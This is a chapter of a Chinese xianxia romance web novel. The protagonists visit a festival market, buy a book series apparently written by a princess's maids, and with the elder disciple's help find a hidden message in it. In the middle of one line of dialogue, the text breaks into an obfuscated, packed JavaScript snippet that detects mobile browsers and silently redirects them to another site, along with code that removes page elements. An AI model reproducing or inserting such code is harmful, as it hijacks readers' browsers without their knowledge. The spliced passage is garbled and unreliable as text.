有战事在前,流云镇的百姓们不敢大张旗鼓地过节,格外的克制,没有设置任何诸如赛巧之类的游戏,姑娘们想玩便凑到一块儿简单玩玩。
好在街市仍旧开着,摊贩们摆出五花八门的新奇玩意儿吸引来来往往的路人,糖人、花灯、玩具、面具一应俱全。
沈秋和莫缘从这一条街头吃到另一条街尾,学人穿针引线缝香包互赠,往对方脸上画彩妆。
“沈秋,这小镇子确实挺好玩的,难怪你总想着跑下山。”莫缘整个人晕乎乎的,扬着憨气十足的傻笑跟在沈秋身边,视线被两边栩栩如生的河灯吸引,“我们买个灯到河里放吧,每个爱情故事里都有这一段。”
沈秋将手上最后一颗糖葫芦上的水果吃掉,听到他这么说也有些心动。她依言走到最大的灯架边,选了两朵花出来,却被莫缘推着手放回去一个。
“做什么?”
莫缘一边利落付钱,一边腼腆地回答,吐字黏连,“我们俩放一个就够了。故事里那些一个人放河灯许愿的主角,感情总是非常坎坷。”
沈秋噗嗤笑出声,故意取笑道:“现代人爱看的故事全是苦瓜和黄连演的吗?我们古人大多一个人放过灯,也不见得个个情路坎坷呀。”
莫缘轻哼,拉着她到人少的小河边写好纸条,而后双手捧住河灯许愿。
“许的什么?”沈秋写得慢,一笔一划久久斟酌,磨蹭许久才好,抬头却见他还在无声喃喃,眼皮虔诚地紧闭。
莫缘睁开眼,将两张折好的纸条放进灯中,又施了个简易的防护阵法。
“最大的秘密你都知道了,这个就不告诉你了。”他冲沈秋弯眼笑。
河灯摇摇晃晃地落在水上,随着水波轻轻颠簸。
两个手掌共同推了它一把,它便慢悠悠地汇入其他河灯的队伍中,顺着水流方向远去。
莫缘紧张不已,直挺挺守在岸边目送它,但凡有河灯与之碰撞便惊叫出声,安然无恙后方吐出长气。
“……”沈秋拉了他几下,没拉动后直接使了真力把他带离河边,买来烧饼塞进他嘴里,拉回他的心神。
走得有些累了,恰巧她看见街边有一家与茶舍合开的书铺,便领着莫缘走进去。
莫缘刚从紧张的情绪离脱离出来,发现沈秋目标明确地找到写着“爱恨情仇”的书柜,一颗心又提起来,纠起眉头双唇抿起——
“沈秋,我真不爱看这些!你不是知道我带那本书是为什么了吗?”他感觉吃下去的烧饼都有了苦味,有苦说不出。
沈秋依然在翻找话本,“你若不爱看,为何那么多话本里独独选中那一本?”
“我……”莫缘语塞,一时间找不到可以辩驳的理由,转去别的书架企图找别的书替掉那些话本。
“贵客想找什么书?可以先试看一会儿,到外头的茶棚里喝一盏茶。”掌柜的笑眯眯凑上来。
沈秋远远问她,“近来时兴什么?”
莫缘道:“除了爱情话本。”
“有的有的。”掌柜的热情推荐,拿起摆在进门处架子上的书,“来小店的多是雅客,因此卖得最俏是这些文人笺谱。”
莫缘接过,感到不可置信,“流云镇的百姓喜欢看这个?”
掌柜的自豪道:“咱这虽是新开业,但不少文人喜来品茶读书,走时都是一套一套买的。您若不喜欢,还有连环画谱、鬼怪志异,摆在这的都是新故事。”
莫缘提不起兴趣。
掌柜的继续介绍,“您不爱看杜撰的,那游记一类,或者文人真正的所见所闻不知您喜欢否?这数月以来承运公主离宫行善,一路发粥、送衣、救人,带兵打仗的谋略比那些个在边关吃百姓粮食的将领还厉害!亲眼见过公主的无不赞她、爱她!”
她捧来几本书册,如数家珍般口若悬河,笑容更加真诚,“这本讲公主离京送福时携带的衣裳首饰,全是她二十多年积攒的旧物,毫不吝啬地增予贫民、伤民……”
沈秋不动声色地靠过来。
“这本讲公主如何救治百姓与发放米粮,言行举止都记下了……”
“这本讲公主如何用三战彻底打消将领的质疑,收服军心、扭转战局!”
沈秋接过掌柜的手里的书册,书封上写着“知微录·承运公主卷”,卷首标有“知微客撰”。
她指尖按在其上,“这知微客是何许人?未曾听过他的名号。”
掌柜的答,“此人是突然出现的,只写了这一套便一夜成名,您来的巧,今日恰是第三日。不过记录公主言行到底是有大不敬的,此人自然不敢透露半点身世。也不知他有何等能耐,公主曾遍查身边下人,连军营里的一兵一卒都问过了都没找到他。”
沈秋微扬眉梢。能潜伏如此之久,还有门路让各家书店收书的,定不是等闲之辈。
“知……”她喃喃念道。
“知——”莫缘拖长音调。
掌柜的陪着笑来回看他俩,不明白他们为何突然停下。
什么人能长久潜伏在公主身边还不被发现?沈秋不信以公主只能会查不出这个人。
所以或许,这知微客本就是经公主授意后撰写此书并卖出去的。
能得公主这般信任,除了那两个随时跟在她身边的两个宫女,别无他人。
知心、知意,知微客。
“就这套吧。”沈秋转向掌柜的。
掌柜的凝滞的神情瞬间瓦解,眉开眼笑帮她包书,“老刘!给两位贵客上茶!”
“好嘞。”
门口噔噔噔踏进来一个男子,端来茶水递到他们二人面前。
流云镇这小镇能被承运公主盯上,其中一个原因在她和莫缘,另一个原因应当便是这家书铺与茶舍开得格外红火。
沈秋没有久留,付了钱便走,很是迫不及待。
“你有什么想法?”莫缘跟着她拐进无人的小巷,发动移形术到达山脚。
沈秋抬步跨上石阶,“公主此举太明显,我们能……”
“嗡——”
“嗯?”沈秋被一股无形之力弹了回去,她愣住,再次抬脚。
“嗡——”防护罩的波纹荡开,沈秋大惊,“这不是齐云派了吗?”
莫缘把手放在上面,“我的移形术突破不了。”
话音刚落,一道阴恻恻的身影骤然出现在两人面前。祁思语面色阴沉贴在防护罩后,浑身散发着极度不悦的气息。
他的目光在两人脸上乱七八糟的妆容上来回移动,难以相信自己的眼睛,“你们、你们……”
沈秋和莫缘试图让他小点声,“行了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099700|180175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行了。”
但祁思语压不住火,几乎是用吼的脱口而出,“你们成了?!”
刷刷刷!好几道身影立时从别处飞掠而来,警觉的眼神在触到他们二人后有一瞬愣怔,随后震惊溢出瞳孔。
沈秋恨不得把祁思语拍死,“你们在这做什么?”
祁思语捂住胸口平复情绪,闭上眼硬邦邦道:“师姐担心瞿霖光派人潜入,命寻意峰、凌岩峰和华元峰的弟子加固护山阵法及机关,门中弟子也不得入内。加强后,再由其他弟子与仙鹤轮流守山。”
弟子们打开防护罩让他们进来,着重对沈秋道:“再不能跑出去了。”
莫缘叹息,“不说还好,你说了她更想出去了。”
沈秋提起书,“不,眼下有更重要的事要做。”
更重要的事便是看书。沈秋认为承运公主这次行事不隐蔽,外人或许不晓得她有两个心腹宫女,且名字与“知微客”隐有关联。但皇帝、太子、皇子等人却清楚得很。
“所以公主可能是为了向我们传信。”她道,“我不能确定,但总该找找。”
没轮到她守山时她在房外秉烛夜读,轮到她守山时她站在防护罩旁捧书而阅。
“什么人会写书穿消息?待到所求之人看到消息,尸骨都不知道在哪儿了。”众弟子们帮她一起找,边找边嘀咕。
沈秋一目十行,飞快翻页,“书是早就写好的,传信只需在书上加些不易察觉的东西,再买通店家传到想传的地方。”
公主的鹰不知为何没来,大概是军营里人多眼杂不方便传信。
“你们不要只看内容,多注意细节。”莫缘提醒。
祁思语瞪他,“你倒是懂,别只动嘴皮子啊,把书拿去看!最惹人厌的便是花言巧语的男子!”
“……”弟子们以书挡脸偷笑。
莫缘凑到他身边,用肩膀狠狠撞了他一下,“你就羡慕吧,小古董!”
翻了半个时辰没寻到半点线索,众人已泄气地坐到地上,把书页翻得哗哗响。
“找不到啊,沈十六你不会耍我们吧。”
“难道真没有?”沈秋也开始怀疑自己。
“你们在做什么?”
清冷的声音乍响,祁思语豁然站起,抑制疯狂飞起的嘴角轻声回答,“师姐,我们在读书。”
祝嫣今夜一身石绿配米白的短衣,清爽利落。她瞥向弟子们摊在地上的书,眉头渐渐蹙起。
“师姐?”沈秋疑惑。
“京城二字总比别的字大,显、象二字比别的字重,若是抄书何故为之?若是印书又何故这般刻意?”祝嫣扫过每个人,摇头轻斥,“平日书都读哪儿去了?练武之余可有练字?”
弟子们纷纷低头。
唯有沈秋壮着胆子去拉祝嫣的袖口,讪笑着请她走至远处,低声道:“大师姐,此前承运公主曾与同我做过交易,她愿意帮我们隐瞒小师弟身份,并助我们查探黑袍人,一直以来她帮我们甚多。而她对我的要求,仅是让祁思语出手引来天象。”
祝嫣眸光沉沉,自上而下凝视她,“她有野心,修士不可站队。”
“我……”
祝嫣侧身止住她的辩解,静默片刻后道:“切记万无一失。”
沈秋精神一振,“好!”